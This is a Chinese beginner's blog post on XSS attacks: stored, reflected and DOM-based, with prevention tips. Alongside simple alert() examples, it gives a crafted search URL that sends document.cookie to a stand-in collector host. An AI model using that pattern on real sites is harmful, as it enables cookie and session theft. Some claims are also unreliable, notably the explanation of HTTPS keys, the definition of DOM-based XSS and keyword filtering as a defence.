【XSS攻击】初识前端安全预防web攻击

回首望自己也做了几年前端了，感觉学习路线之前都是乱的，没有体现出层次感，遇到什么就补什么感觉这样会涉及不到很多领域的知识，其实很多安全防范的东西在我们日常的代码编写过程中就应该多加注意的，比如常见的XSS攻击的预防，最近也是在学习一些知识点的时候看到这样的字眼特别的关注了下，平时不太关注这个叫法的含义，其实这种攻击之前写后端的是有碰到过的。

毕业那会儿写后端在处理前端提交数据过去的时候没有加入关键词过滤，记得又一次产品发布后有人在页面输入了一段脚本：

alert("nihao");

提交成功后然后服务器原封不动的进行了输出，坏了，浏览器弹出了一个对话框。这就是一个非常常见的web攻击，后来知道它书名叫做XSS里面的存储式攻击，也就是存储到服务器上在浏览器呈现的时候加以体现，如此看来我们很有必要隆重介绍下XSS这个东西了。

 百度百科里面对于XSS的介绍如下：

XSS是一种经常出现在web应用中的计算机安全漏洞，它允许恶意web用户将代码植入到提供给其它用户使用的页面中。比如这些代码包括HTML代码和客户端脚本。攻击者利用XSS漏洞旁路掉访问控制——例如同源策略(same origin policy)。这种类型的漏洞由于被黑客用来编写危害性更大的网络钓鱼(Phishing)攻击而变得广为人知。对于跨站脚本攻击，黑客界共识是：跨站脚本攻击是新型的“缓冲区溢出攻击“，而JavaScript是新型的“ShellCode”。

XSS的分类如下：

1. Reflected XSS（基于反射的XSS攻击）

2. Stored XSS（基于存储的XSS攻击）

3. DOM-based or local XSS（基于DOM或本地的XSS攻击）

Reflected XSS

基于反射的XSS攻击，主要依靠站点服务端返回脚本，在客户端触发执行从而发起Web攻击。

比如一般的搜索，当我们要把搜索的关键词显示在搜索页面的时候，那么让用户在搜索框内输入了带有执行脚本的串，比如：

alert(document.cookie)

在前端和后端均为做任何过滤处理的情况下，我们将会在搜索结果页面弹出当前用在当前浏览页面内的cookeis信息，如果被他们加以充分利用可以达到获取访问用户cookie内的敏感用户数据，比如他自己对外开放了一个地址接受某个参数name，后台获取了name参数值进行了过滤保存，比如这个接口地址形式如下：

http://back.me/index.php?name=

当他知道你搜索的访问地址后他可以这样伪造一个地址：

http://www.baidu.com/search?key='http://back.me?name='+document.cookie

一旦成功，他就很容易的获取到了当前访问用户的cookie信息从而进行分析提炼得到用户的敏感数据，比如用户名或者密码、电话号码等（前提是所访问的站点前端是这样讲敏感信息存储在了cookies内）。

Stored XSS

基于存储的XSS攻击，是通过发表带有恶意跨域脚本的帖子/文章，从而把恶意脚本存储在服务器，每个访问该帖子/文章的人就会触发执行，很多站点允许编写文章的都是支持富文本编辑器的，于是我们就可以在富文本内输入带有script的字符串，比如：

我是一串可执行的脚本

alert("I'm Backer");

在后端未做任何内容过滤的情况下，那么文章显示出来的是则会直接弹出一个对话框。

DOM-based or local XSS

基于DOM或本地的XSS攻击。一般是提供一个免费的wifi，但是提供免费wifi的网关会往你访问的任何页面插入一段脚本或者是直接返回一个钓鱼页面，从而植入恶意脚本。这种直接存在于页面，无须经过服务器返回就是基于本地的XSS攻击。目前最常见的就是电信植入，非常恶心的一种XSS行为。

既然我们熟知了XSS的几种方式和手段，那么作为开发人员的我们如何来进行应对预防处理呢？这里提供几个方案：

1. 使用HTTPS！就跟我前面《HTTP与HTTPS握手的那些事》这篇文章说的，HTTPS会在请求数据之前进行一次握手，使得客户端与服务端都有一个私钥，服务端用这个私钥加密，客户端用这个私钥解密，这样即使数据被人截取了，也是加密后的数据。

2、前后单均对数据内容进行关键词的过滤或提醒处理，比如script标签等 alert等；

3、前端在显示后端返回内容前进行特殊字符的过滤或转义处理，这样可以避免很多问题。

提高日常的web安全防范意识，也就是提升用户体验度！